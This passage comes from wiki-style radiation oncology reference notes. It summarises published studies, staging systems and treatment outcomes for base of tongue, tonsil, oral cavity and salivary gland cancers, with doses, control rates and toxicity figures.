**20 pts w/ carcinoma of BOT w/ I-125 seed brachytherapy as component of tx.
**Pts received 50-66.6 Gy via EBRT followed by interstitial implant 2-3 wks later.  Median implant dose of 27 Gy.  Implant volume included tumor, glossotonsillar sulcus, and pharyngeal wall/tonsil in select cases.
**5 yr actuarial local control rate of 88%.  After salvage, overall 5 yr actuarial local control was 93%
**Speech and swallow preserved in 18/20 patients.

*'''Gainesville, 1990''' - {{PMID|2370179}} (1964-1986) -- &quot;Is interstitial implantation essential for successful radiotherapeutic treatment of base of tongue carcinoma?&quot;  Foote RL et al.  Int J Radiat Oncol Biol Phys 1990 Jun;18(6):1293-8. 
**84 pts w/ SCC of BOT tx'd w/o interstitial implantation. (qD in 59 pts, BID in 25 pts)
**Local control rate for T2 (88%), T3 (77%), T4 (36%).  Improved local control seen for T4 pts if BID fractionation.
**Incidence of bone exposure 6%, soft tissue necrosis 19%

===Management of Neck===
*'''MSKCC, 1997''' - {{PMID|9276364}} (1981-1996) -- &quot;Long-term regional control after radiation therapy and neck dissection for base of tongue carcinoma.&quot;  Lee HJ et al.  Int J Radiat Oncol Biol Phys. 1997 Jul 15;38(5):995-1000.
**68 pts w/ SCC of BOT tx'd w/ primary RT.
**54 Gy to tumor via EBRT + 20-30 Gy interstitial implant.  50 Gy to neck (boosted to 60 Gy for if clinically positive.  Neck dissection done if clinically palpable neck nodes (even if complete response to RT)
**Actuarial 5 yr neck control 95%, 10 yr neck control 86%
**No cases of grade 3 fibrosis.
**Neck dissection suggested at time of implant for BOT SCC.

==Tonsil==
*RT alone: &gt;80% LC for stages I-III; surgery can be reserved for salvage
*Concurrent chemotherapy used for advanced stage; planned neck dissection can be considered for bulky disease. Conversely, primary surgery with adjuvant RT may be used
*Contralateral neck treatment: Overall failure rate &lt;5% in select patients (mostly T1-2N0-1; see below). Consider contralateral RT for CTV crossing midline, infiltration of base of tongue or glossopalatine sulcus, or N2c/N3 disease (Perez 5th)

===Primary Outcomes===
*'''University of Florida''' 
**'''2006''' (1964-2003) {{PMID|16755183}} -- &quot;Definitive radiotherapy for tonsillar squamous cell carcinoma.&quot; (Mendenhall WM, Am J Clin Oncol. 2006 Jun;29(3):290-7.)
***Retrospective. 503 patients; 198 planned neck dissection, 57 chemo. Minimum 2-year F/U
***5-year outcome: LC: T1 88%, T2 84%, T3 78%, T4 61%. Neck control: N0 95%, N1 93%, N2a 89%, N2b 84%, N2c 77%, N3 66%. LRC: Stage I 92%, II 88%, III 88%, IVA 84%, IVB 66%. High failure rates for anterior pillar lesions compared with fossa/posterior pillar
***Contralateral neck: 2/58 (3%) patients treated with ipsilateral primary &amp; neck RT developed recurrence in contralateral neck
***Severe late toxicity: 9%
***Conclusion: Definitive RT provides comparable cure rates as surgery, with lower complications
**'''2000''' {{PMID|10829041}}, 2000 (1964-1997) &amp;mdash; &quot;Radiation therapy for squamous cell carcinoma of the tonsillar region: a preferred alternative to surgery?&quot; Mendenhall WM et al.  J Clin Oncol. 2000 Jun;18(11):2219-25.
***Retrospective. 400 pts. with T1-T4, N0-N3, tonsil cancers. Treated with radiation therapy alone. Minimum 2 year follow-up. 
***Outcome: 5-yr LC by stage: T1, 83%; T2, 81%; T3, 74%; and T4, 60%.
***Recurrence: 83 patients had LR, 36 underwent a salvage procedure, and 17 pts were successfully salvaged. (About 1/2 of LR can be successfully salvaged)
***Toxicity: No patients had severe acute complications from RT.
***Conclusion: Local-regional control similar after surgery or RT for tonsillar cancer, with the risks of a severe or fatal complication higher for those patients treated surgically.


===Contralateral Neck===
*'''Colorado; 2009''' {{PMID|19168295}} --&quot;Freedom from local and regional failure of contralateral neck with ipsilateral neck radiotherapy for node-positive tonsil cancer: results of a prospective management approach.&quot; (Rusthoven KE, Int J Radiat Oncol Biol Phys. 2009 Aug 1;74(5):1365-70.)
**Retrospective. 20 patients with well lateralized, ipsilateral node positive tonsil cancer.  Lesions not involving midline structures (BOT, soft palate or glossotonsillar sulcus)
**80% stage IV; N1 20%; N2a 15%; N2b 65%
**No contralateral failures observed at median FU of 19 months
**Conclusion: Ipsilateral-only RT may be reasonable in well selected patients with ipsilateral node-positive tonsil cancer.  More patients and longer follow-up are required to validate these results

*'''University of Florida; 2006''' (1964-2003) {{PMID|16755183}} -- &quot;Definitive radiotherapy for tonsillar squamous cell carcinoma.&quot; (Mendenhall WM, Am J Clin Oncol. 2006 Jun;29(3):290-7.)
**''See full study above.'' Retrospective, 503 patients 
**Contralateral neck: 2/58 (3%) patients treated with ipsilateral primary &amp; neck RT developed recurrence in contralateral neck
**Conclusion: Ipsilateral fields can be used for patients with well-lateralized tumors

*'''Erasmus Medical Center; 2004''' (1986-2001) {{PMID|15183475}} -- &quot;Brachytherapy versus surgery in carcinoma of tonsillar fossa and/or soft palate: late adverse sequelae and performance status: can we be more selective and obtain better tissue sparing?&quot; (Levendag P, Int J Radiat Oncol Biol Phys. 2004 Jul 1;59(3):713-24.)
**Retrospective. 190 patients with T1-3N0-3.
**Contralateral neck: 0/29 patients T1-3N0 disease and no contralateral treatment had recurrence. 6/149 (4%) patients T1-3 ipsilateral N0/+ contralateral N0, with electively treated contralateral necks developed recurrence. Substantial relapse (&gt;10%) if base of tongue infiltration
**Conclusion: One can be more selective in treating contralateral neck; don't need to treat unless the tumor extends beyond the midline of the soft palate (uvula) or beyond the lateral one-third of the ipsilateral base of the tongue.

*'''Princess Margaret; 2001''' (1970-91) - {{PMID|11567806}} &amp;mdash; &quot;The benefits and pitfalls of ipsilateral radiotherapy in carcinoma of the tonsillar region.&quot; O'Sullivan B et al. Int J Radiat Oncol Biol Phys. 2001 Oct 1;51(2):332-43.
**Retrospective. 228 pts were treated with ipsilateral nodal irradiation. 84% had T1-2, 58% N0 tumors. Median F/U 5.7 years
**Contralateral failure: Crude rate 3.5%. T1 0%, T2 1.5%, T3 10%, T4 0%. N0 0%, N1 9%, N2/3 0%. All T1 or N0 patients had no contralateral failures. Significant risk (&gt;10%) if involving medial one third of palate, base of tongue
**Conclusion: Selected cases of tonsilar carcinoma show low risk of contralateral neck failure with ipsilateral technique.

*'''Hokkaido; 2000''' (1989-1996) {{PMID|10699473}} -- &quot;Ipsilateral irradiation for carcinomas of tonsillar region and soft palate based on computed tomographic simulation.&quot; (Kagei K, Radiother Oncol. 2000 Feb;54(2):117-21.)
**Retrospective. 32 patients, tonsil/soft palate. Tumor didn't cross midline, no contralateral LNs. Ipsilateral technique 65/26 +/- 5-15 Gy boost. Median F/U 3.7 years
**Contralateral failure: 0%
**Conclusion: Ipsilateral technique for tumors that don't cross midline and have no contralateral LNs

*'''British Columbia; 1999''' (1975-1993) {{PMID|10435802}} -- &quot;Cancer of the tonsil: the results of ipsilateral radiation treatment.&quot; (Jackson SM, Radiother Oncol. 1999 May;51(2):123-8.)
**Retrospective. 178 patients ipsilateral RT, compared with 72 bilateral RT. Dose 60/25. T1-2 66%, T3 29%; N0 57%, N1 30%; Stage III-IV 63%
**Contralateral failure: crude rate 2.6%. Stage I 0%, II 2%, III 4%, IV 0%; N0 0%, N1 4%, N2-3 0% (but 52% ipsilateral failure, ? first)  
**Conclusion: Ipsilateral RT only has results comparable to bilateral RT, with fewer side effects, and low risk of contralateral failure. Vast majority of failures inside original fields

==Proton Therapy==
*'''Loma Linda; 2005''' (1991-2002) {{PMID|15890592}} -- &quot;Proton radiation for treatment of cancer of the oropharynx: early experience at Loma Linda University Medical Center using a concomitant boost technique.&quot; (Slater JD, Int J Radiat Oncol Biol Phys. 2005 Jun 1;62(2):494-500.)
**Prospective. 29 patients, localized Stage II-IV oropharyngeal cancer. Accelerated mixed photon and proton RT 75.9 GyE in 45 fractions to primary disease, involved LNs and subclinical areas. Photons lateral opposed beam and anterior field for lower to 50.4/28. PT used as concomitant boost 25.5 GyE/17 starting Day 12, typically single posterior oblique field. No chemotherapy mentioned
**Outcome: 5-year LC 88%, LN control 96%, LRC 84%; 2-year DFS 81%, 5-year DFS 65%
**Toxicity: Late Grade 3 in 10%
**Conclusion: Preliminary results reveal increased LRC without increased toxicity


==Neoadjuvant Chemo==
*'''ECOG E2399''' {{PMID|17761982}} -- &quot;Phase II trial of chemoradiation for organ preservation in resectable stage III or IV squamous cell carcinomas of the larynx or oropharynx: results of Eastern Cooperative Oncology Group Study E2399.&quot; (Cmelak AJ, J Clin Oncol. 2007 Sep 1;25(25):3971-7.)
**Phase II. 105 patients. Resectable T2N+ or T3-4N0-3, larynx (34%) or oropharynx (66%) squamous cell. Induction paclitaxel 175 mg/m2 and carboplatin AUC 6 x2 cycles, then concurrent paclitaxel 30 mg/m2 + RT 70 Gy. Primary endpoint organ preservation. 94% full dose RT. Median F/U 3 years
**Outcome: No progression on chemo. Organ preservation larynx 74%, OP 84%. Primary site salvage surgery larynx 19%, OP 9%. 2-year OS larynx 63%, OP 83%
**Conclusion: High organ preservation in oropharynx but not larynx</text>
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Includes lip and oral cavity.

==Anatomy==
Divided into specific areas:
*&lt;u&gt;Mucosal lip&lt;/u&gt; - vermillion surface only
*&lt;u&gt;Buccal mucosa&lt;/u&gt; - membrane lining inner surface of the lip and cheeks to the attachment of mucosa to alveolar ridges and pterygomandibular raphe
*&lt;u&gt;Lower alveolar ridge&lt;/u&gt; - mucosa overlying the alveolar ridge of the mandible. Extends from lower buccal gutter to free mucosa of the floor of the mouth. Posteriorly goes to ascending ramus of the mandible
*&lt;u&gt;Upper alveolar ridge&lt;/u&gt; - mucosa overlying the alveolar ridge of the maxilla. Extends from upper buccal gutter to junction of hard palate. Posteriorly goes to upper end of pterygopalatine arch
*&lt;u&gt;Retromolar trigone&lt;/u&gt; - mucosa overlying ascending ramus of mandible from posterior surface of last molar tooth to apex, adjacent to tuberosity of maxilla
*&lt;u&gt;Floor of mouth&lt;/u&gt; - semilunar space over mylohyoid and hyoglossus muscles. Extends from inner surface of lower alveolar ridge to undersurface of tongue, and posteriorly to base of anterior pillar of the tonsil. Contains ostia of submaxillary and sublingual salivary glands
*&lt;u&gt;Hard palate&lt;/u&gt; - semilunar area between upper alveolar ridge and mucous membrane covering the palatine process of maxillary palatine bones. Extends from inner surface of superior alveolar ridge to posterior edge of the palatine bone
*&lt;u&gt;Oral tongue&lt;/u&gt; - extends anteriorly from circumvallate papillae to undersurface of the tongue at the junction of the floor of mouth. It consists of tip, lateral borders, dorsum, and undersurface

==Staging==
'''AJCC 8th edition (2018)'''
&lt;br&gt;'''''Tumor'''''
*T1 - 2 cm or less, &lt;= 5mm DOI
*T2 - &gt; 2 cm but &lt;= 4 cm with &lt;= 10mm DOI  or 2cm or less with 5-10mm DOI
*T3 - &gt;4 cm or DOI &gt; 10mm
*T4 (Lip) - Invades through cortical bone, inferior alveolar nerve, floor of mouth, or skin of face (i.e. chin or nose)
*T4a (Oral cavity) - Invades through cortical bone, maxillary sinus, or skin of face
*:Note: extrinsic muscles of the tongue are: genioglossus, hyoglossus, styloglossus, and palatoglossus (NO LONGER T4 for 8th Edition)
*T4b - Involves masticator space, pterygoid plates, or skull base, or encases internal carotid artery


'''''Node'''''
Clinical
*cN1 - Single ipsilateral &lt;= 3cm
*cN2a - Single ipsilateral 3-6cm
*cN2b - Multiple ipsilateral &lt;= 6cm
*cN2c - Bilateral or contralateral &lt;= 6cm
*cN3a - &gt; 6cm bulky
*cN3b - clinically or radiographically +ECE

Pathologic
*pN1 - Single ipsilateral &lt;= 3cm (ECE-)
*pN2a - Single ipsilateral 3-6cm (ECE-) or Single ipsilateral &lt;=3cm (ECE+)
*pN2b - Multiple ipsilateral &lt;= 6cm (ECE-)
*pN2c - Bilateral or contralateral &lt;= 6cm (ECE-)
*pN3a - &gt; 6cm bulky (ECE-)
*pN3b - &gt;= pN2 disease with ECE+

'''''Metastasis'''''
*M0 - none
*M1 - yes


'''''Stage grouping'''''
{{Radiation Oncology/Head &amp; Neck/Stage grouping}}

'''AJCC 7th edition (2009)'''
&lt;br&gt;'''''Tumor'''''
*T1 - 2 cm or less
*T2 - &gt; 2 cm but &lt;= 4 cm
*T3 - &gt;4 cm
*T4 (Lip) - Invades through cortical bone, inferior alveolar nerve, floor of mouth, or skin of face (i.e. chin or nose)
*T4a (Oral cavity) - Invades through cortical bone, into deep (extrinsic) muscle of tongue, maxillary sinus, or skin of face
*:Note: extrinsic muscles of the tongue are: genioglossus, hyoglossus, styloglossus, and palatoglossus
*T4b - Involves masticator space, pterygoid plates, or skull base, or encases internal carotid artery


'''''Node'''''
{{Radiation Oncology/Head &amp; Neck/Node staging}}


'''''Metastasis'''''
*M0 - none
*M1 - yes


'''''Stage grouping'''''
{{Radiation Oncology/Head &amp; Neck/Stage grouping}}

===Older staging systems===
'''AJCC 6th edition (2002)'''
&lt;br&gt;no changes compared to 7th edition

==Postop Recurrence Nomogram==
*'''Memorial Sloan Kettering; 2008''' {{PMID|18720518}} -- &quot;Nomogram for deciding adjuvant treatment after surgery for oral cavity squamous cell carcinoma.&quot; (Gross ND, Head Neck. 2008 Oct;30(10):1352-60.)
**[http://skynet.ohsu.edu/nomograms/postrt/oral.html Nomogram link]
**Nomogram. 590 patients with oral cavity SCC at MSKCC, validated using 417 patients from HACC Sao Paulo. Concordance index 0.693


==Induction chemo-RT + Surgery vs Surgery Alone==
*'''DOSAK''' -- induction chemo-RT vs surgery alone
**Randomized. 268 patients, oral cavity/oropharynx T2-T4 N0-N3. Arm 1) Induction RT 36/18 with cisplatin 12.5 mg/m2 vs Arm 2) Surgery
**'''1994''' {{PMID|7930766}} -- &quot;Preoperative radiochemotherapy and radical surgery in comparison with radical surgery alone. A prospective, multicentric, randomized DOSAK study of advanced squamous cell carcinoma of the oral cavity and the oropharynx (a 3-year follow-up).&quot; (Mohr C, Int J Oral Maxillofac Surg. 1994 Jun;23(3):140-8.)
***Outcome: Locoregional recurrence induction 16% vs surgery alone 31%; OS 72% vs 81% (SS); 1-year OS benefit 4.5% and 2-year OS benefit 8.3%


'''''Retrospective'''''
*'''Cologne; 2008''' {{PMID|18188519}} -- &quot;Neoadjuvant radiochemotherapy and radical resection for advanced squamous cell carcinoma of the oral cavity. Outcome of 134 patients.&quot; (Eich HT, Strahlenther Onkol. 2008 Jan;184(1):23-9.)
**Retrospective. 134 patients, resectable SCC of oral cavity, Stage II-IV (Stage IV in 70%). Neoadjuvant chemo-RT 39.6/22 + carboplatin 70 mg/m2. Radical resection + neck dissection (R0 88%, R1 5%, R2 2%). Post-op RT in 18%. Median F/U 6.1 years
**Outcome: pCR 14%. Local recurrence 29%, regional recurrence 10%, DM 12%. 2-year OS 65%, 5-year OS 45%
**Toxicity: Grade 3-4 in 5%
**Conclusion: Neoadjuvant chemo-RT with radical surgery is safe and effective

==Pre-op RT vs. Post-op RT==
*'''RTOG 73-03''' (1973-1979)
**Randomized. 320 patients. Operable stage T2-T4 any N (but not fixed); oral cavity, oropharynx, supraglottic larynx, hypopharynx, or maxillary sinus. Arm 1) Pre-op RT 50 Gy vs. Arm 2) Post-op RT 60 Gy. In addition, OC and OP lesions may be randomized Arm 3) definitive RT 65-70 Gy, with surgery reserved for salvage (n=43). 
**'''10-years; 1991''' {{PMID|1993628}} &amp;mdash; &quot;Randomized study of preoperative versus postoperative radiation therapy in advanced head and neck carcinoma: long-term follow-up of RTOG study 73-03.&quot; (Tupchong L et al. Int J Radiat Oncol Biol Phys. 1991 Jan;20(1):21-8.)
***Only pre-op vs. post-op subset (n=277). &lt;u&gt;Oral cavity (14%)&lt;/u&gt;, oropharynx (17%), hypopharynx (43%), supraglottic larynx (26%) 
***Outcome: LRC pre-op 58% vs. post-op 70% (SS), &lt;2 years no difference (failures 59% vs. 58%), but marked &gt;2 years (failures 27% vs 8%); OS no difference due to late (&gt;2 years) deaths from DM and from second primaries
***Toxicity: no difference
***Conclusion: Post-op RT better for LRC (especially in SGL), but no impact on OS due to distant failure and second primaries
**Comment: some argument for definitive chemoRT instead of surgery and post-op RT since after 2 yrs, distant mets are primary cause of failure resulting in similar 10 OS in this trial. LRC still better for post-op vs definitive RT alone. Also, different doses used, at the time believed equivalent given the setting

==Surgery + RT vs Primary RT==
*'''Scottland''' (1991-1993) -- Surgery + post-op RT vs radical RT
**Randomized. ''Trial closed prematurely after significant survival benefit for combined arm.'' 35 of expected 350 patients, 4 institutions, oral cavity/oropharynx, excluded T1N0.  Arm 1) Surgery + postop RT 60/30 vs Arm 2) radical RT 66/33 alone. Only 50% and 41% of patients respectively received XRT as planned, mainly due to machine breakdown
**'''1998''' {{PMID|9704176}} -- &quot;Early closure of a randomized trial: surgery and postoperative radiotherapy versus radiotherapy in the management of intra-oral tumours.&quot; (Robertson AG, Clin Oncol (R Coll Radiol). 1998;10(3):155-60.) Median F/U 1.9 years
***Outcome: OS combined arm 53% vs. RT 11% (HR 0.24, SS); DSS 65% vs 33% (SS). Residual local disease 0% vs. 53% (SS)
***Conclusion: Surgery with postop RT superior to radical RT alone

==Surgery + RT vs. Chemo-RT==
*'''Singapore''' (1996-2000) 
**Randomized. ''Stopped early due to slow accrual.'' 199 patients, resectable Stage III/IV SCHNC excluding NPC and salivary glands (larynx 32% (supraglottis 23%), oral cavity 27%, oropharynx 21%, hypopharynx 12%). T4 56%. Arm 1) surgery + adjuvant RT 60/30 vs. Arm 2) RT 66/33 + concurrent cisplatin 20 mg/m2 + 5-FU 1000 mg/m2 x2 cycles. 90% received at least 1 cycle of chemo 
**'''2005''' {{PMID|16012523}} -- &quot;Surgery and adjuvant radiotherapy vs concurrent chemoradiotherapy in stage III/IV nonmetastatic squamous cell head and neck cancer: a randomised comparison.&quot; (Soo KC, Br J Cancer. 2005 Aug 8;93(3):279-86.) Median F/U 6 years 
***Outcome: 3-year DFS: S+RT 50% vs. chemo-RT 40% (NS). Organ preservation (larynx/hypopharynx 68%, oropharynx 55%, oral cavity 21%). Chemo-RT group had poor surgical salvage of 47%, with no long-term survivors (possibly due to larger proportion of T4 and oral cavity cancers) 
***Conclusion: Chemo-RT not superior to surgery+RT, but can be attempted for organ preservation in larynx, hypopharynx, and oropharynx. Poor organ preservation in oral cavity 

==Induction chemo + RT vs Primary RT==
*'''RTOG 68-01''' (1968-1972) -- induction MTX + RT vs RT alone
**Randomized. 638 patients, Stage III-IV &lt;u&gt;oral cavity (23%)&lt;/u&gt;, oropharynx (55%), supraglottic larynx (12%), hypopharynx (10%). Arm 1) RT alone vs. Arm 2) IV MTX 25 mg q3d x5 followed by RT. RT 55-80 Gy
**'''1980''' {{PMID|7410127}} -- &quot;Adjuvant intravenous methotrexate or definitive radiotherapy alone for advanced squamous cancers of the oral cavity, oropharynx, supraglottic larynx or hypopharynx.&quot; (Fazekas JT, Int J Radiat Oncol Biol Phys. 1980 May;6(5):533-41.)
***Outcome: median OS RT vs. MTX-RT: &lt;u&gt;oral cavity 11.8 mo vs. 12.4 mo&lt;/u&gt;, oropharynx 13.6 mo vs. 13.1 mo, SGL 17.2 mo vs. 19.2 mo, hypopharynx 9.7 mo vs. 13.4 mo
***Conclusion: Minimal gain, induction methotrexate should not be used

==Oral Tongue==
*'''Colorado-SEER, 2008''' - {{PMID|18041071}} -- &quot;Poor prognosis in patients with stage I and II oral tongue squamous cell carcinoma.&quot; Rusthoven K et al. Cancer 2008: Jan 15;112(2):345-51.
**Retrospective analysis of 6791 patients entered into SEER database with T1-2N0 oral cavity SCC
**40% had Oral tongue cancer and 60% had other oral cavity cancers
**OS and CSS were significantly worse for patients with oral tongue SCC
***5yr OS: 60.9% (oral tongue) vs 64.9% (other OC) HR: 1.24
***5yr CSS: 83.5% (oral tongue) vs 94.1% (other OC) HR 3.04
**CSS for stage II oral tongue cancer was significantly worse than CSS in patients with stage III and stage IV oropharyngeal cancer.  OS was similar for stage II oral tongue and stage III/IV oropharyngeal cancer

*'''Kobe University, Japan, 2005''' {{PMID|15921890}} -- &quot;A comparison of brachytherapy and surgery for the treatment of stage I-II squamous cell carcinoma of the tongue.&quot; Umeda M et al.  Int J Oral Maxillofac Surg. 2005 Oct;34(7):739-44.
**180 pts w/ stage I-II oral tongue CA tx'd w/ LDR (78), HDR (26), or surgery (71)
**Local recurrence seen in 17% LDR, 35% HDR, and 6% surgery groups
**After salvage, local control was 91% in LDR, 85% in HDR and 100% in surgery groups
**5yr OS 84% in LDR, 73% in HDR, and 95.4% in surgery groups for stage I, 72%, 51.5% and 93.8% in stage II

*'''Osaka University, Japan Randomized Trial, 1996''' (1992-93) - {{PMID|8985043}} -- &quot;Phase III trial of high and low dose rate interstitial radiotherapy for early oral tongue cancer.&quot; Inoue T et al.  Int J Radiat Oncol Biol Phys 1996 Dec 1;36(5):1201-4. 
**Inclusion criteria: T1-2N0 that could be tx'd w/ single plane implant, localized at lateral tongue border, &lt;1cm, absence of severe concurrent dz
**Pts randomized to LDR (70 Gy over 4-9 days) vs HDR 60 Gy in 10 fx over 6 days; 15 pts in LDR arm, 14 in HDR arm
**86% local control at 2yrs for LDR, 100% for HDR
**'''UPDATE''' {{PMID|11516867}} -- 51 pts evaluable in update.  5yr local control 77% (LDR) and 76% (HDR)

*'''MDACC, 1990''' (1963-79) - {{PMID|2370178}} -- &quot;Primary radiotherapy in the treatment of stage I and II oral tongue cancers: importance of the proportion of therapy delivered with interstitial therapy.&quot; Wendt CD et al.  Int J Radiat Oncol Biol Phys 1990 Jun;18(6):1287-92.
**103 pts w/ T1-2N0 SCC of oral tongue (18 T1, 85 T2).  Tx regimens included interstital brachy alone, hypofractionated EBRT + interstitial brachy, conventional fractionation EBRT + interstitial brachy, EBRT alone.
**5/8 pts w/ EBRT alone failed locally.  6/18 w/ interstitial alone failed locally.
**2 yr local control 92% if EBRT doses &lt;40 Gy w/ hi proportion of RT given by interstitial brachy.  2yr local control 65% if EBRT &gt;40 Gy w/ lower brachy doses.
**44% neck recurrences if no therapy to neck.
**13% severe complication rate

==Buccal Mucosa==
*'''Orissa, India Randomized Trial, 1996''' - {{PMID|8903493}} -- &quot;Post-operative radiotherapy in carcinoma of buccal mucosa, a prospective randomized trial.&quot;  Mishra RC et al.  Eur J Surg Oncol. 1996 Oct;22(5):502-4.
**Pts w/ stage III and IV SCC of buccal mucosa.  Randomized to surgery alone vs surg + postop RT.
**DFS 38% (surgery alone) vs 68% (postop RT)

*'''Centre Alexis Vautrin, France, 1995''' (1973-91) - {{PMID|7673032}} -- &quot;An original technique of brachytherapy in the treatment of epidermoid carcinomas of the buccal mucosa.&quot; Lapeyre M et al.  Int J Radiat Oncol Biol Phys. 1995 Sep 30;33(2):447-54.
**42 pts (36 T1, 35 N0) SCC of buccal mucosa tx'd w/ brachytherapy.  
**Either parallel wires technique or loop technique used.  23 pts w/o elective nodal tx, 8 w/ EBRT, 4 w/ neck dissection
**63% OS at 2 yrs, 47.5% OS at 5 yrs; &gt;80% recurrences w/i 1 yr
**91% local control w/ loop technique, 58% local control w/ parallel wire technique.
**Elective nodal tx appeared to be necessary if lesion &gt;1cm

==Floor of mouth==
*'''Gustave-Roussy Institute, France, 2002'''  (1970-85) - {{PMID|11955737}} -- &quot;Brachytherapy for T1-T2 floor-of-the-mouth cancers: the Gustave-Roussy Institute experience.&quot;  Marsiglia H et al.  Int J Radiat Oncol Biol Phys. 2002 Apr 1;52(5):1257-63.
**160 pts with carcinoma of FOM tx'd definitively with interstitial brachy. (49% had T1, 51% had T2, 21% had N1).
**89% actuarial survival at 2 yrs, 75% actuarial survival at 5 yrs.
**&lt;10% rate of severe necrosis.  18% rate of bone necrosis in total.

*'''Roswell Park, 1997''' (1971-91) - {{PMID|9243267}} -- &quot;Squamous cell carcinoma of the floor of mouth: a 20-year review.&quot;  Hicks WL Jr et al.  Head Neck. 1997 Aug;19(5):400-5.
**99 pts with carcinoma of FOM (43 w/ stage I or II).
**21% likelihood of occult nodal metastatic disease in T1 pts.
**Local control for surgery alone for 81% and regional control was 71%
**RT improved regional control rate for stage IV. 
**Conclusion:  Elective treatment of regional lymphatics is warranted in carcinoma of FOM.

*'''Centre Alexis Vautrin, France, 1995''' (1976-1992) - {{PMID|7480819}} -- &quot;Epidermoid carcinomas of the floor of mouth treated by exclusive irradiation: statistical study of a series of 207 cases.&quot;  Pernot M et al.  Radiother Oncol. 1995 Jun;35(3):177-85.
**207 pts w/ carcinoma of the FOM tx'd w/ definitive RT.  105 received EBRT + brachy, 102 received brachy alone.  83% pts were N0.
**Local control at 5 yrs was 97% for T1, 72% for T2, 51% for T3.
**Exclusive brachy for T1-2 appeared to be preferable to a combination of EBRT + brachy in T1-2N0 pts.

*'''Gainesville, 1993''' (1964-87) - {{PMID|8416850}} &amp;mdash; &quot;Management of squamous cell carcinoma of the floor of mouth.&quot; Rodgers LW Jr et al.  Head Neck. 1993 Jan-Feb;15(1):16-9.
**194 pts. Similar LC for RT alone or surgery alone. Recommend combination therapy for advanced lesions because of poor local control for a single modality.

==Retromolar Trigone==
*'''Gainesville, 2005''' (1966-2003) - {{PMID|15825160}} -- &quot;Retromolar trigone squamous cell carcinoma treated with radiotherapy alone or combined with surgery.&quot; Mendenhall WM et al.  Cancer. 2005 Jun 1;103(11):2320-5.
**99 pts w/ SCC of RMT tx'd w/ RT alone (35) or RT + surg (64).
**5yr locoregional control for RT alone for stage I-III was 51%, for RT + surg was 87%; 5yr LR control for stage IV was 42% for RT alone, 62% for RT + surg
**Multi-variate analysis suggested surgery + RT was better modality than RT alone.

*'''Mallinckrodt, 2001''' (1971-94) - {{PMID|11505486}} -- &quot;Cancer of retromolar trigone: long-term radiation therapy outcome.&quot;  Huang CJ et al.  Head Neck. 2001 Sep;23(9):758-63.
**65 pts w/ SCC of RMT tx'd w/ RT (10 pts preop, 39 pts postop, 15 tx'd w/ RT alone).
**5yr DFS 76% w/ T1, 50% w/ T2, 72% w/ T3, 54% w/ T4

*'''MDACC, 1987''' (1966-81) - {{PMID|3597160}} -- &quot;Results of irradiation in the squamous cell carcinomas of the anterior faucial pillar-retromolar trigone.&quot;  Lo K et al.  Int J Radiat Oncol Biol Phys 1987 Jul;13(7):969-74. 
**159 pts w/ SCC of ant faucial pillar or RMT tx'd w/ definitive RT.
**Doses ranged from 60 to 75 Gy.  If N0, only ipsi JD nodes treated.
**92% of recurrences occurred within 2 yrs.
**Local failure rates were 29% for T1, 30% for T2, 24% for T3, 40% for T4.  After salvage surgery, ultimate failure rate was 0% for T1, 6% for T2, 8% for T3, 20% for T4.  10% experienced neck failure.
**30% developed some degree of bone exposure, 5.6% requiring segmental mandibular resection.

==Patterns of failure==
'''''After IMRT:'''''
*'''U. of Iowa; 2007''' (2001-5) - {{PMID|17276613}} -- &quot;The failure patterns of oral cavity squamous cell carcinoma after intensity-modulated radiotherapy-the university of iowa experience.&quot; (Yao M, Int J Radiat Oncol Biol Phys. 2007 Apr 1;67(5):1332-41.)
**55 pts treated with IMRT (49 post-op, 1 neoadj, 5 definitive). Chemo in 6 pts (3 receiving definite RT, 2 postop, 1 neoadj). 
**Median f/u 17 months. 9 pts with LRF. Median time to LRF 4 months. All but 1 of the failures was in the high risk region (CTV1 or CTV2). 
**Areas at high risk for recurrence include:
**#Primary tumor bed
**#Infratemporal fossa (via inferior alveolar N and mental N). &quot;The infratemporal fossa should also be included in the radiation field for tumor adjacent to these nerves with extensive perineural invasion and for tumor invading the pterygoid muscle, which is most commonly seen in patients with retromolar trigone cancer or tonsil cancer.&quot;
**#Area between primary oral tongue cancer and regional lymph nodes. Should be included in the high risk region for post-op RT.
**#Contralateral neck. Contralateral neck should be included for post-op RT of the oral tongue.
**Conclusion: &quot;Intensity-modulated RT is effective for oral cavity SCC. Most failures are in-field failures. Further clinical studies are necessary to improve the outcomes of patients with high-risk features, particularly for those with extracapsular extension.&quot;</text>
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&lt;big&gt;'''Tumors of the Salivary Glands'''&lt;/big&gt;


==Epidemiology==
*Median age for salivary gland malignancy is 55-65.
*Median age for benign salivary gland tumor is 10 yrs younger.
*Salivary gland malignancies represent 3-6% of head and neck cancers.
*Tumor distribution (Perez 5th edition):
**Parotid gland 70%
**Submandibular gland 8%
**Minor salivary glands 22%


==Histology==
*75% of parotid masses are benign
*Low grade tumors of the parotid:  acinic cell, low grade mucoepidermoid
*High grade tumors of the parotid:  high grade mucoepidermoid, adenoid cystic, adenoCA, squamous cell
*Most common histology of malignant parotid gland tumor is mucoepidermoid (30%).
*Predominant histology of a malignant submandibular gland tumor is adenoid cystic.
*Histologic classification is often difficult, with significant interobserver variability and reclassification rate

==Anatomy==
'''Salivary Glands:'''
*&lt;u&gt;Parotid&lt;/u&gt; - superficial to and behind ramus of the mandible. LN drainage to parotid nodes, and then to superficial LNs along SCM muscle and to deep cervical chain
*&lt;u&gt;Submandibular&lt;/u&gt; - in triangle between digastric muscle bellies and lower border of the mandible. LN drainage to both submandibular LNs and directly to anterior subdigastic LNs
*&lt;u&gt;Sublingual&lt;/u&gt; - medial to mandible, lateral to genioglossus muscle of the tongue, superior to mylohyoid muscle, inferior to mucous membrane of the floor of the mouth. LN drainage to submandibular LNs or to deep internal jugular chain
*&lt;u&gt;Minor Salivary Glands&lt;/u&gt; - widely distributed throughout the upper aerodigestive tract (see below)


'''Parotid Gland'''
*Anatomical borders of parotid gland
**Superior - zygomatic arch
**Inferior - upper border of posterior belly of digastric
**Anterior - 2nd maxillary molar
**Posterior - tip of mastoid
*Lobes of parotid gland:
**Parotid gland divided into superficial and deep lobes.  
**Lobes of parotid separated by relation to facial nerve (no fascial plane separating them).


'''Nodal drainage of Salivary Glands:'''
*Parotid:
**Periparotid and intraparotid nodes
**Level I, Level II, Level III
*Submandibular
**Level I, Level II, Level III


'''Contouring / Anatomy'''
*See [[Radiation Oncology/Head &amp; Neck/Anatomy#Specific sites|Radiation Oncology/Head &amp; Neck/Anatomy]] (e.g. COSTAR trial)

==Staging==
'''AJCC 7th Edition (2009)'''&lt;br&gt;
''Tumor''
